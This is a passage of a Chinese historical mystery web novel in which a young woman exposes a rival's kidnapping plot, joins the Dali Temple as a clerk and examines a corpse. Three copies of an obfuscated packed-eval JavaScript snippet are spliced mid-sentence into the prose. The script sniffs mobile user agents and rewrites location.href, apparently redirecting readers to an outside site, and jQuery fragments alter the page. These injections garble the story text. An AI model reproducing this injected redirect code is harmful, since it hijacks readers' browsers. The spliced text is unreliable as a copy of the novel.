曲霜姿回头,又是一位熟人,正是昨日选拔中的第三名。 “你是钱羽?”她依稀记得好像是这个名字,“你也来找营生啊?” 曲霜姿招手又要来个杯子,给钱羽倒了杯茶。 钱羽冷着脸看她,眼神中不难看出又惊讶之意,“你来这里找营生?”他冷笑一声,用嘲讽的语气道:“你得罪了霍家,怎么可能在这里找得到营生,这酒楼就是霍家的产业之一。” 这曲霜姿还真不知道,她也不知道自己怎么就得罪了霍家,早知道她第一次遇到霍迁那天就多拍几句马屁来着。 “你和余家有关系?”钱羽的态度很不友善,明明他们同为平头百姓,却还是摆出副轻蔑的姿态。 曲霜姿不舒服,盯着钱羽没有说话,直到对面的人尴尬地低下头,她才装作刚刚反应过来回道:“我没骨头,死皮赖脸求了余家贵人。” “那余家贵人可有说助你入选?”钱羽迫不及待地又问。 曲霜姿摇头。 得到否定的答案,钱羽顿时松了一口气,他脸上挤出笑来,笑得比敷衍人的店伙计还要假。 他神经兮兮地压低声音,凑得离曲霜姿极近,“那咱们就是一条绳上的蚂蚱。” 曲霜姿挑眉,等着他继续说。 “你有没有想过,”钱羽又阴森森地笑了几声压低了声音道,“入选的好办法啊。” “什么好办法?”事出反常必有妖,直觉让曲霜姿追问下去。 “咱们前面只有霍、林两家的人,只要他们参加不了选拔,那被选得可不就是咱们了吗?”果然是知人知面不知心呢。 曲霜姿假装思考,随后点了点头,“那你想怎么做?” “这样,你用美人计勾引霍迁,在他酒中下迷药,叫他参加不了明日的选拔。” 曲霜姿表情一言难尽,“那你呢?” “我去绑了那林大小姐。” “你好大的胆子啊。”曲霜姿蹙眉。 “我还找了帮手,她被绑了失了清白,必然不会参加明天的……” 真下作啊,曲霜姿在心里狠狠唾骂,没等钱羽说完就猛地站了起来,还假装无意地重重踩了钱羽一脚,疼得钱羽面目狰狞。 他咬牙切齿地问:“你这是要做甚?” 曲霜姿回眸一笑,讲话慢悠悠的,“自然是,勾引霍公子喽。”话毕,她还顽皮地吐了吐舌头。 钱羽喜上眉梢,“那咱们分头行动,我去找林寻雁!” “霍公子。”曲霜姿站在二楼,脆生生地喊了一声,顺便还抬手把茶杯摔在了霍迁脚边,清脆极了,引得不少人抬头想要看个究竟。 霍迁雅兴被打断,气冲冲道:“何人胆敢放肆!?” 无数目光投了过来,曲霜姿盈盈笑着,伸出手指向还未走远的钱羽,“民女刚刚误听见钱公子的阴谋,这才吓得失手打碎了茶杯。” 钱羽一听,瞬间僵在原地。 “什么阴谋?”只听霍迁莫名其妙地问。 曲霜姿的笑语此时在钱羽耳朵里变得可怕至极,“他说要找人绑了您呢,好让您参与不了明天的选拔。” 霍迁瞬间怒了,命人把拔腿就跑的钱羽扣押在地。 “冤枉呀,霍公子。”钱羽伏在霍迁脚边,哆哆嗦嗦还露出讨好的笑容,他反咬一口道:“曲霜姿的嘴皮子功夫您还不知道吗?” “她是胡诌呢。” “哎呀!”曲霜姿走了过去,捂着嘴不可思议地反问,“难不成是我要绑了霍公子?” 周围人七嘴八舌地议论起来,都更相信看起来人畜无害的曲霜姿。 “民女只知,选拔一事该是公平公正,若是只能通过旁门左道获取机会,甚至是要加害于他人,”曲霜姿认真地冲霍迁鞠了一躬,“那民女宁愿从未参加过选拔。” 曲霜姿义正言辞地把霍迁都唬住了,霍迁傻傻地点点头,半晌才反应过来自己也是个走旁门左道的,只好闷声吃了这个哑巴亏,白被曲霜姿讽刺了一通。 钱羽被霍迁派人打了顿,扔出了酒楼,曲霜姿却没有分毫伸张正义的畅快,反而是平添几分沉重的烦闷。 她和钱羽遥遥对视,还是心软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711865|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踱步过去,她蹲下来看他,“你万不该用这样投机取巧的法子。” “凭什么他们可以,我不可以?”钱羽愤恨地质问,眼里盛满怒火,“你就继续拍这些人的马屁,继续虚伪奉承,你和他们一样恶心!” 他声音嘶哑颤抖,却还是使劲了力气吼道。 曲霜姿摇摇头,叹了口气。 阿娘说的没错,可怜之人必有可恨之处,可恨之人必有可怜之处。 沈霁明也说的没错,没有权势,就只是蝼蚁,不会有能够反击的力量。 “你知道吗?别人怎么做,是别人的事情,我们怎么做,是我们的事情!”她眸色晦暗,“你千不该万不该——想出要侮辱林寻雁的法子获取入选资格。” “你难道就不恶心,不龌龊嘛?”她一字一顿地问,话语中鲜少地带上纯粹的凶狠,“简直是伤天害理。” “那你说我能怎么办?”钱羽疯狂嘶吼,抓住曲霜姿的裙摆不放,“我考取功名却被顶替,我老母为供我读书夜以继日地在丝纺局操劳,如若我无法入选,我们未来又该怎么生活!” “我又如何娶妻生子!?” “也许你也能先找个营生,先有能力在盛京养活自己。”曲霜姿听了钱羽的诉苦,不知还能说什么,她咬了咬牙,“活着,才有希望。” 钱羽自顾自地抱头痛哭,并没有再纠缠曲霜姿。 曲霜姿长长叹了口气,一步步远离醉烟居。她步子沉重,仿佛这无边夜幕又压下几分,她倔强地昂首挺胸,一行清泪却难以控制流了下来。 阿娘,她真的好想阿娘,想扑到阿娘怀里痛哭一场。 阿娘曾经说的没错,站着说话当真会腰疼。 否则她现在怎么会这样疲累,心都隐隐作痛,牵连着浑身上下都犹如被蚂蚁啃噬一般。 钱羽身上常见的绸缎衣,是曲霜姿在荨州没见过的,她自己的衣服也不过是粗麻,偶尔一两件衣料上好的衣物是余肃叔叔送来的。 难道荨州的百姓就因此活不下去了吗?他们照样自得其乐,曲霜姿亦是想念从前清苦但欢愉的日子。 但一方天地有一方愁苦,曲霜姿也无权置喙。 — 第二日选拔的时候,钱羽没有出现,听说是自己退出了。 曲霜姿所望的奇迹也没有出现,但因为早有预料,所以也没有特别失落。她不喜欢盛京,这些日子见多了新鲜玩意儿,可一颗心还是难以避免地沉寂麻木了。 只是她一直告诉自己,要怀着希望面对生活,但希望在哪儿?曲霜姿毫无头绪。 她漫无目的地在盛京的大街小巷穿梭。 再去找余叔叔吗? 不行的,按说书郎所言,余肃叔叔自身亦处于困境中。她既与叔叔约定了三月之期,又怎么能出尔反尔去麻烦叔叔。 胡思乱想中,曲霜姿居然又走到了那家初入盛京时误入的胭脂铺。 她鬼使神差走了进去,和正坐在柜台内的老妇人面面相觑。曲霜姿讪讪笑道:“您是阿若嬷嬷吧?咱们还是蛮有缘分的嘛。” 阿若嬷嬷一脸错愕:“?” 8. 吃软不吃硬 “嬷嬷,店里还缺人手吗?”曲霜姿心一横问道,心想总不能又绑自己一次吧。 阿若嬷嬷似乎是怀疑这姑娘是不是让自己之前给敲傻了,她这次诚恳道:“这店就是个摆设罢了,用不着多少人手。” 曲霜姿无聊,又要开口继续问,身后传来了沈无逆的声音。 “曲霜姿!” 真是冤家路窄,沈无逆怎么老喜欢突然出现啊。 曲霜姿一脸丧气地回头,还没看清面前的男人就被拽出了店。 沈无逆也是不可置信道:“此地你居然还敢来?” “有什么不能来的?”曲霜姿眨巴眨巴眼睛,“我不过想找个营生罢了。” “你不走?”沈无逆疑惑道,他追了曲霜姿一路,就是想和儿时故人告个别。 曲霜姿莫名其妙,“我为什么要走啊,我都说过了,我要留在盛京找我阿娘被刺的真相!”她眼珠一转,察觉到不对,沈无逆显然就是冲着自己来的,“你跟踪我?” “没、没有,”沈无逆被戳穿,他连忙清了清嗓子,“我来店里,这是二皇子的店。” “原来如此,”曲霜姿沉思片刻,瞬间想到个好主意,“这样说来,你是二皇子的亲信对吧?” 沈无逆有种不好的预感,他转身就要走,“既然你不走,那我也无需和你告别了。” “哎哎!”曲霜姿跟着余肃练过武,身手还算矫健,她飞快绕到男人面前拦住了沈无逆,“你既与二皇子相熟,定有办法帮我!” “我凭何要帮你?”沈无逆不顾她阻拦就要走。 “质子殿下,您就帮帮我吧,想必您在盛京也有一定的权势,动动手指就能帮我吧!” 沈无逆简直是被曲霜姿这变脸的速度给气笑了,“你不是傍上余家了吗,余家怎么不帮你了?” “殿下您别说笑了,我来盛京只为替我阿娘寻一个公道。”曲霜姿想明白了,纵使她和沈无逆有点八字犯冲,但这恐怕是她唯一能抓住的救命稻草了。 她一咬牙,“我愿献一身才能于殿下,供殿下驱使,只愿殿下能助我寻到真相!”曲霜姿当即从怀里掏出一把匕首就要割向手指,被沈无逆眼疾手快地拦下。 “霜姿愿以血立誓!” 沈无逆顾不得听她豪言壮志,眼中只剩下了那把匕首。 这可不是一般的匕首,极弯、极小,却极为锋利。曲霜姿将其抽出来时速度之快,以至于沈无逆只看到一道闪着寒光的银色残影,根本没意识那精致玲珑的玩意儿是把匕首。 那刀鞘为黑色,又分布有银色纹饰,在小巷这种光都照不进来的地方,竟然能自发出碧色的光来。 这好像是皇室密令中要寻找的那把。 沈无逆伸手,“可否给我看看?” “看了你可要帮我。”曲霜姿不明所以,依依不舍把匕首递给了沈无逆。 那纹饰果然是凤凰,碧色的光辉来自上面镶嵌的一颗玉石,拔开刀鞘,刀刃中央赫然有一条绛紫色的线,像是吸饱了人血。 他眉头一敛,“此物从何而来?” 曲霜姿看出不对来,连忙把匕首夺回来收好,“此乃我阿娘遗物。” 那想必是曲霜姿的娘游历天下时偶然得到的,沈无逆想。若是能将这宝物献给二皇子,或是直接献于陛下,那他岂非就能得到重用? “我帮你,你把这宝物给我,”他登时改了主意,“我帮你向二皇子求情,许你留在大理寺给我打下手。” 曲霜姿紧紧护住怀中物什,“殿下,这不行。” “这是我阿娘留给我的,没了它我晚上都无法安眠,”曲霜姿退了好几步,“总之我是无论如何都不会给你的!” 沈无逆挤出温良的笑,“你把匕首交于我,我替你保管。” “我向你保证一定爱惜它,我可是最喜欢收藏这类物什了,等我收藏一段时间,寻得更好的就还给你。”他好声好气地哄着曲霜姿。 见曲霜姿有几分动摇,他继续乘胜追击,“傻姑娘,你既然想为你阿娘报仇,又何故这样固执?” 曲霜姿看着沈无逆,她声音颤抖,“你保证不会骗我?” “保证保证,”沈无逆笑着举起双手,“咱们以后和睦相处、互相合作,共同破案、守护百姓,如何?” 少女咬唇,没有回答。 在沈无逆期待的目光下,曲霜姿自嘲地笑了一声。是啊,她现在连留在盛京的能力都没有,又如何找寻真相、为阿娘报仇? 她缓缓掏出匕首,万般不舍地抚摸着,最终郑重地递给了沈无逆,“你以后要多拿出来给我看看,否则我不放心。” 沈无逆满口应下,他抬眼,忽然看见少女眼里的泪花。 他不经意地皱了皱眉,随后展开笑颜把匕首收入自己衣袖。 曲霜姿要为母报仇,他也有自己必须要走的路,他要有权势,要积攒力量,他不得不这样做。 未来再与曲霜姿解释清楚就是了。 — 安插个不算官儿的小吏可再容易不过,沈无逆只是说明自己在大理寺需要人手,二皇子便允了此事。 其实哪怕不禀告二皇子,也没人会在意一个小吏。 沈无逆自从在大理寺有了正式官职,整日里早出晚归也不便频繁出入宫闱,二皇子就赐了他一座府邸,只让他偶尔进宫述职。 府邸很大,多住曲霜姿一个也无所谓。 只是曲霜姿住进质子府的当夜,就翻来覆去彻夜难眠,因为没了阿娘留给她的匕首,她当真是无法心安。 于是她半夜翻进了沈无逆的房间。 沈无逆房里漆黑,应该是早就睡下了。曲霜姿在各处小心翼翼地寻找,却都不见自己的宝贝匕首,该不会——沈无逆喜欢这匕首至极,也抱着匕首睡觉吧? 曲霜姿蹑手蹑脚地靠进沈无逆,犹豫着要不要翻找,阿娘好像说过,男女授受不亲来着…… 然而她短暂地选择性遗忘了一下,伸手就要探进男人里衣。 沈无逆猛然睁眼,一把抓住曲霜姿,欺身把她压在床上,一只手还拔出匕首抵在了曲霜姿脖子上。 曲霜姿吓得出了一身冷汗,她讨好地笑道:“殿下,咱们不是合作关系吗?您怎么又对我刀剑相向啊?” 沈无逆反应过来,坐起来冷冷问道:“你来做甚?” 曲霜姿眼巴巴地盯着那把险些沾了自己鲜血的刀,委屈道:“殿下,我还不习惯离开那把刀睡觉。” “自我阿娘离我而去,我都是日日夜夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711866|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地带在身上。”她垂下头,眼底微红,看起来可怜得紧。 “你娘没嘱咐过你,不要随意进男子房内吗?”沈无逆无语地捏了捏眉心,他睡觉常睡不踏实,外界动静大些就会被吵醒。 曲霜姿撇撇嘴,“这有什么,我从前和余……” 她、还有阿娘从前还和余叔叔在一张榻上睡过呢! “够了!”沈无逆听了一半就打断了曲霜姿的话,他实在没想到曲霜姿和那位余公子已经发展到了这地步,还真是让人哄骗得不轻。 曲霜姿被一吼,没忍住气得翻了个白眼,但她很快又恢复之前的乖巧神色。 沈无逆立马看出曲霜姿这副委屈模样是装的。 是了,曲霜姿确是装的。她虽确实因此难以入眠,但也不至于如此轻易地受挫落泪。只是根据她的人生经验,这副神情很容易引得他人同情,更易达成目的。 毕竟,很多人就是吃软不吃硬嘛。 沈无逆冷笑一声,也开始演起来,他抱着匕首蹙起了眉,脸上忧愁浓得似是一辈子都化不开。 “你、你怎么了?”曲霜姿奇怪地问。 “这把匕首和我故国的匕首很像,抱着它,我就好似回了家。” 曲霜姿一惊,原来是这个缘由,如果是这样,那么沈无逆要更需要这把匕首一点。 她还有阿娘别的遗物,沈无逆却已离家十余年,如今连寄托思乡之情的物什都没有。 如此,她也能安心把匕首交给沈无逆。 她严肃地下了床,抬起胳膊郑重拍了拍男人的肩膀,“那你就抱着它睡吧,睡个好觉。”少女语重心长,临走前还用怜悯同情的目光深深看了他一眼。 看得他浑身不自在。 — 次日,曲霜姿早早就梳洗好,和沈无逆一起来到了大理寺。 马车上沈无逆还细细叮嘱着,“不要叫我殿下,可以叫公子。” “要唤名字的话,也不要唤沈霁明,就唤沈无逆。” “不要叫错官职,我是寺正,不是你常看话本里的大理寺少卿。” “记得要对大人们都恭敬些,万万不能再逞强好胜了。” 曲霜姿根本听不进去沈无逆还说了些什么,她满心欢喜地沉浸在自己即将当官的想象中,想着若是阿娘知道,定会为她感到骄傲。 她愉快地踏进大理寺,遥想之前她第一次来这里还被拦下,时间过得也真是快呢。 今日同样也是霍迁和林寻雁上任的日子,林寻雁早就到了,正在和大理寺左副卿——也就是那日的主考官贺卫商讨相关事宜。 二人都是副恭恭敬敬的样子,只是不知到底哪位才是长官。 曲霜姿简单和大理寺众人认识了一下,就被派去收拾卷宗,收拾完卷宗又被派去收拾大厅的文书。 这天气一日赛一日热,她很快就热得大汗淋漓,还好还算上是自得其乐。 临近晌午,曲霜姿终于收拾好了各种乱七八糟的东西,她在大厅里闲逛了几圈,欣赏自己的劳动成果,随后一眼就看到了姗姗来迟的霍迁。 她礼貌地露出微笑,打了声招呼,把霍迁下了一大跳。 “你怎么在这里?”霍迁惊呼,“难不成林寻雁把选拔名额让给你了!?” 9. 事事不顺心 “不不不,霍大人,”曲霜姿尴尬地笑笑,“我只是一个小吏罢了。” “哦?”霍迁立刻饶有趣味地问:“你是谁手下的小吏,可否供我驱使?” “自然是可以的。”曲霜姿想着自己的活儿也干完了,帮帮霍迁说不准还能有什么意外收获呢。 “不可以,”沈无逆不知从那儿冒出来,打断了二人的谈话,“霍公子,我那边还有活儿叫她干,她笨手笨脚也帮不了你什么,你还是先去找左副卿吧。” “沈公子啊,”霍迁面色有些不虞,但很快有露出富有玩味的笑容,他上下打量着曲霜姿,压低声音调笑道:“原来你是他的人啊。”说罢,就得意洋洋地走了。 曲霜姿回头看向沈无逆,男人脸色阴沉,又被曲霜姿吓了一跳,“你怎么又对我这样凶!” 沈无逆这才意识到自己把情绪都带到了脸上,过往他习惯了保持和善,直到遇到曲霜姿这个真性情的姑娘,他居然不自觉地将真实的自己表露出来了。 “没有,”他咳了几声,飞速换上笑脸,“只是那霍迁和余公子一样都是有名的纨绔,爱好美色、不务正业,你既然和我合作,还是离这些人远一点为上。” 曲霜姿只觉得男人笑得假,语气温柔得也假。她还很不服气,怎么她余叔叔就是纨绔了,在她眼里,余叔叔沉稳温善、谦卑谨慎,待她和她阿娘极好。 如果余叔叔真的沉迷什么美色,那也只能是她阿娘了,那沈无逆这话不也是骂了她阿娘吗? “胡诌!”曲霜姿气不过,狠狠剜了一眼沈无逆,发誓今天一整日都不理他。 沈无逆叹了口气,曲霜姿还真是对余千帆情根深种啊。 二人接下来一个月都别别扭扭的,沈无逆偶尔有要事还需唤曲霜姿数次才能把人唤来,而曲霜姿干活还不给沈无逆好脸色,让沈无逆摸不着头脑。 这余千帆到底有什么好的啊!? 但是他的人盯了曲霜姿一个月,也没见她见过余千帆啊。 沈无逆终于忍不住了,他趁着屋内没有旁人对整理卷宗的曲霜姿道:“你来大理寺到底是干什么的?” “自然是帮百姓查案,解决各种疑难杂案,让阿娘骄傲,”曲霜姿不耐烦地回答,不知道沈无逆为什么总要问她,“还有找到我阿娘被刺的真相。” 她近来实在是事事不顺心,她以为自己只要进了大理寺就能查案,查的案子多了,自然就能顺藤摸瓜找到关于她阿娘被杀的线索。 可是来了大理寺这一个月,处理的都是什么杂七杂八的事儿。 杨府的猫儿跑丢了,要他们大理寺来找。 王府的千金逃婚了,要他们大理寺来找。 谁家被偷了银两,还是要他们大理寺来找。 街这头卖烧饼的和那头卖烧饼的打了起来,要他们大理寺来调节。 谁家找的媒婆说胡话,说是男方看了女方的画像一眼就相中了,结果男方是个独眼龙。 望香楼的姑娘和客人共度良宵,结果客人没付钱就跑了…… 诸如此类的事,倒是层出不穷。 曲霜姿根本没有任何收获。 “你既然知道自己是来干什么,为什么要耍小孩子的脾气?”沈无逆蹙眉看向曲霜姿。 曲霜姿正要反驳,屋外传来一道嘹亮的斥责声,“此乃大理寺,非尔等信口开河、胡搅蛮缠的地方!” 随后又传来吵闹的动静。 二人对视一眼,一前一后地走了出去。 “大人,人真的不是我杀的呀!”一个二十五六的男子跪在地上苦苦哀求。 “怎么回事?”沈无逆一听死了人,连忙问道。 录事蒋睿如实禀告道:“寺正,今日清晨有人在小巷里发现地上躺着两个人,原以为是醉汉,却发现其中一个尸体都硬了。” “这不另一个我抓回来了,人刚醒呢,说是自己什么都不记得了。”蒋睿一挑眉,“这不明白着是此人杀人时遭到死者反抗后昏迷,没有来得及逃脱嘛!” “谁说我什么都不记得,我都说了,有一个巨大的黑影坐在墙头之上,五官狰狞犹如厉鬼,我是被吓晕的。”男子慌张解释道:“至于之前那个死了的,我压根不认识他啊,我只是路过啊。” “怎么可能有巨大的黑影啊,那你的意思就是说死者是被鬼杀害了的呗!”捕快揪住男子的衣领,犀利地反问,话语里满是戏谑。 沈无逆分开二人,将男子扶起后严肃地看向捕快,“尸体呢?” “已经带回公廨了。”捕快回道。 沈无逆点点头,“带我去看看!” “什么?”曲霜姿推开沈无逆,冲到捕快面前吼道:“谁让你们随意搬运尸体的!?” 捕快不可理喻,“难不成让尸体暴露在百姓面前,引起百姓恐慌?” “真是胡闹!”曲霜姿气极,她急切地拉住蒋睿,“死者是在哪儿发现的?” “永、永福巷。”蒋录事不知道这个小姑娘情绪怎么这样激动,他正看着二人对质被猛得一问根本没反应过来,磕磕巴巴地回答道。 “报案人呢?”曲霜姿急不可耐。 另一边默默等待过堂的报案人小心翼翼地举起了手,下一刻就被曲霜姿拉得跑出了大理寺,“这、这位大人,这是干什么呀!” “回现场。” 剩下的众人面面相觑,还是沈无逆先反应了过来,他着急嘱咐道:“先让仵作验尸,然后再查明死者身份,让家属来认尸。” 嘱咐完就追了出去。 — 永福巷内,曲霜姿面色凝重,除了巷子里石砖看着古旧,此外并没有任何异常,像是什么都没发生过一般。 她插着腰问报官者,“你确定是这里?” 那人吓得连连点头,生怕把自己扯进此事当中。 “你具体给我讲讲吧,当时的情形。” “好、好。我每天早上都去早市那儿吃饭,看人下棋,这巷子是死胡同,早就说要拆了,却迟迟没有动静。” “为什么要拆?又为什么不拆了?”曲霜姿问。 “这小的哪里知道,这街上都是店铺,巷子两边也都是店家,兴许是店家不许拆呢。” “你去早市路过这儿发现了尸体?”曲霜姿看这巷口狭窄,外边的人都是行色匆匆地经过,鲜少有人会往里头瞧,“就这样巧合?” “小的就是随意一瞧。”男人惊慌失措,居然对着一个小姑娘紧张得直发抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711867|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈无逆赶来,似乎也被这里的“正常”感到讶异,他四处观察观察,又问道:“那你看到尸体时,尸体在哪儿,又是什么样子?” “永福巷里有时会住几个乞丐,我起先以为地上二人都是乞丐,近看二人却衣着整齐,我便上前询问看是发生了何时?谁知道一股腐臭味熏得我泛恶心,再一摸人都硬了。”男人回想起来心有余悸,倒不像有假,“我以为两个都是死人,就赶紧报官了。” 又盘问一通,曲霜姿得知了巷内两人倒在地上时的具体情形,又着急着往大理寺赶。 她还不忘让沈无逆把报官的男人看好,说是之后还要问话。 沈无逆觉得曲霜姿才是寺正,使唤人使唤得顺手极了。他叹了口气,解释道:“盛京已经许久未出悬疑命案了,上一任仵作在四年前就致仕归乡了。” “大理寺的官员不少都是世家塞进来的,多半也没有办命案的经验,所以才会犯这样的错误。” 他本意是解释解释,让曲霜姿不要再生气,那大理寺的人都看着呢,她一个不知来历的小吏倒脾气大得很。 然而曲霜姿满心案情,只淡淡鄙夷道:“盛京也不过如此,还没荨州随便一个县衙办案专业利索。” 真是金玉其外败絮其中。 她这话其实也对,因为他二人回去之时,公廨里的尸体还没人去验。 林寻雁站在尸体旁皱着眉,迟迟没有动作,蒋睿还操心道:“你怎么还不验尸?”而另一位经过层层选拔入选的仵作霍迁,居然害怕死人,躲在屋外冒着冷汗,一眼都不敢瞧。 曲霜姿冷哼一声,径直入内,又被那个捕快拦住,“我刚刚就想问你,你是什么身份,私自带走本案重要相关人士,如今还要干扰仵作验尸,你有几个脑袋啊?” “你姑奶奶我验尸的时候,你还不知道在那儿呢!”曲霜姿咬牙切齿道。 那捕快更怒了,竟然要抬手打人,“你个小妮子,毛得没长齐呢,还敢踩在老子头上!” 沈无逆赶紧过来拦下,“让她进去吧。” 曲霜姿挑挑眉,又使唤道:“把我的验尸的工具箱拿来。” 沈无逆觉得自己真供了个祖宗似的,但眼下验尸是第一要事,他也没办法。毕竟这案子没了谁都能继续查,就是不能没了仵作。 林寻雁拿出自己的一套工具,难得不再冷冰冰的,许是也觉得死者为大:“要不先用我的验?反正我也不会用,我以为这和我的刀剑一样好使呢。” 曲霜姿摇摇头,她瞄了一眼林寻雁的工具箱,竟发现并没有她想象中那样差,有些竟与她阿娘做的很是相似。荨州那边仵作的工具很是粗糙落后,曲婧却有一套自己的精细工具,还给曲霜姿也做过一套。 然而实在是材料难寻,所以也没办法普遍流传开。 “都退后。”曲霜姿严肃地戴上面罩、手套,将自己的头发也都包裹了起来,还有那些工具,剪刀、小刀、小锤,甚至还有小勺,全都不似寻常材质,精细无比,众人看得是眼花缭乱。 但下一刻,曲霜姿的做法更让众人大吃一惊,林寻雁瞬间就背过了身去。 曲霜姿面不改色地把男人的衣服脱了。 脱得一干二净。 10. 厌蠢症犯了 曲霜姿神色认真,“沈无逆,帮我记录。” 沈无逆刚想通为什么曲霜姿不懂男女授受不亲,又被使唤着记录,“我并无纸笔啊。” 曲霜姿无语地看他,觉得自己厌蠢症犯了。 林寻雁见气氛尴尬,连忙拿出自己箱子里的纸笔,“我有,我帮你记录。” “死者身体无明显外伤,无中毒症状,后背右侧及头部有轻微淤青,初步判断为摔伤,非致命伤。”曲霜姿嘴上说着,将男尸里里外外,从头颅一直到□□内部检查了一遍。 “死者表情略狰狞,面部青紫肿胀、眼睛充血凸起、口鼻有涎沫……”她正说着,那个不服气的捕快突然上前打断,“无外伤?那这身体上紫色的瘢痕是什么?” 曲霜姿被打断,很是不满,她强忍着没有发作,“尸斑。” “林小姐,麻烦记下,尸斑呈暗紫色,弥漫状分布在颈前、胸上部、体侧,后背又有凸起米粒大黑紫色出血点,趾甲为青灰色。” “死者□□处有残留液体,偏黄色,应为尿液。” 她深吸一口气,下结论道:“应是受到惊吓后心疾突发致死。” “死亡时间为子时初。”曲霜姿掐算片刻,又道。 林寻雁有些茫然,“书上说,尸斑出现在死者死后一到两个时辰,首先出现在身体小部位,一直加深直到十二个时辰后。这具尸体已经出现如此明显的尸斑,死亡时间不该更早吗?” 曲霜姿挑眉,她没想到这个大小姐居然还真的有模有样地看过相关书籍,她语气柔和下来,“突发心疾,死者身体充血,所以尸斑出现得早且急。” “验尸验完了,审人吧。”曲霜姿收拾好东西就往公堂走去,一路上众人都和她保持一定距离,霍迁更是嫌弃得不得了。 她暗叹一口气,她知道自己衣服上必然沾了尸体的腐臭味,但这群人也不该嫌恶至此啊。 沈无逆终于舍得靠近她,“查案还是交由我们这群当官的吧,你先去换衣服。” 曲霜姿听了心一冷,她没忍住冷笑一声,“原来你们是看不起仵作啊,那真委屈你们这群少爷小姐还有质子殿下,既然这样,争着抢着做什么仵作?” 沈无逆欲辩驳两句,曲霜姿却已经到了几步开外。他心中暗暗感慨,这小妮子怎么脾气这样大,和小时候一点都不像。 好容易有了件正经案子,大理寺卿都亲自出马了,男人四十余岁的模样,看着倒是威严肃穆、英武不凡。 “死者身份可查清?” “没有,好像是外乡人。”之前那个和曲霜姿拌了几次嘴的捕快头子,此时却怯生生地答着大理寺卿的话。 “他既然来盛京,必然有见过的人,找画师画一张死者肖像来,公示百姓,凡是认识此人并提供线索的都有赏。” 曲霜姿换完衣服回来进不去公堂,只好在外边听墙角,门口几个捕快今日都听说了她的验尸事迹,便没有阻拦。 大理寺卿又开始审问另一个在永福巷发现的男子。 那男子瑟瑟发抖,“大人、大人,小的说的都是实话,真的是有一个巨大的怪物!” “你是哪里人,姓甚名何?”大理寺卿一拍惊堂木,把男人吓得又是一哆嗦。 “小的名叫姜绍,是个书生,家在盛京以北不远的梁县,此次进京是想买书回家继续备考。”姜绍老实回答道。 “那昨夜又是怎么一回事?” “小的昨天夜里找不到住处,马上就是乞巧节了,附近州县的百姓都赶来过节,永福巷常有乞丐住着,说不准还有落下的草席,我就想着也对付一夜。” “但是刚到永福巷,我就看见一个巨大的黑影怪物,可吓人了,王,”姜绍太过紧张以至于说话都口齿不清起来,“我进去时还有个男人,他刚刚倒下,我还觉得蹊跷再抬头就看见……” “巨大黑影?有多大?”大理寺卿皱着眉问。 “小人觉着怕是有两个大男人那样高。”姜绍比划起来,看大理寺卿面露怀疑,又胆怯地安静下来。 曲霜姿瞧见姜绍虽跪在地上紧张至极,怀里却总抱着自己的包裹,看着满当当、沉甸甸的,手还不由自主地紧紧攥着。 曲霜姿在外头吹了声口哨,沈无逆很快朝她这边看了过来,虽说她还在生沈无逆的气,却还是要以案情为先。她使了个眼色,沈无逆瞬间领会。 他走了出来,“大人,此人精神恍惚,口供成疑,不妨检查一下他怀里的包裹,看看是否有能证实其说辞的东西。” 姜绍一听,神色大变,连连摆手,“这里面不过是几本书罢了,并不是什么重要东西。” 几个捕快立马上去把包裹夺了下来,里面确实是书,还有纸和笔墨什么的,再翻找一通,还有张过关通牒。 曲霜姿盯着姜绍的神情变化,哼地一笑,了然地对一旁的年轻捕快道:“你信不信,那过关通牒不是他的?” 年轻捕快自然不信,“你又没看怎么能知道?” 下一刻,堂里传来捕快头子的声音,“大人,这通牒上不是姜绍的名字啊?” “写的是王云廷,而且也不是什么梁县人,就是盛京人王家人。”捕快头子震惊不已,“居然是王大人家的,没听过这么一号人啊!” 大理寺卿冷哼一声,“你到底是何人!?” 曲霜姿回想起那日的王家家主,难怪她验尸时总觉得眼熟,确实和王家家主很是相像,只是太过瘦削,她一时半会儿没想起来。 姜绍痛哭流涕地跪伏在地,“当真不是我杀的人呀,这包裹许是我拿错了,我昏迷醒来后它就在我身旁,我就以为是我的了。” 大理寺卿不想在和这个满嘴谎言的小儿浪费时间,又是一拍惊堂木,“来人,押下去,等候发落。” 随后又吩咐道:“去请王大人来认尸。” 捕快头子手忙脚乱,“大人,那画师还请吗?” 大理寺卿沉默着摆摆手,屏退了众人,独独留下沈无逆一个。 出来的人看着曲霜姿如此光明正大地偷听,皆是一脸嗤笑,独有林寻雁过来朝她拱了拱手以示告别,曲霜姿亦撑起笑容回应。 霍迁上来阴阳怪气地嘲讽几句,见曲霜姿压根都不理自己,好像没听见的模样,气鼓鼓地走了。 曲霜姿则继续认真地听墙角。 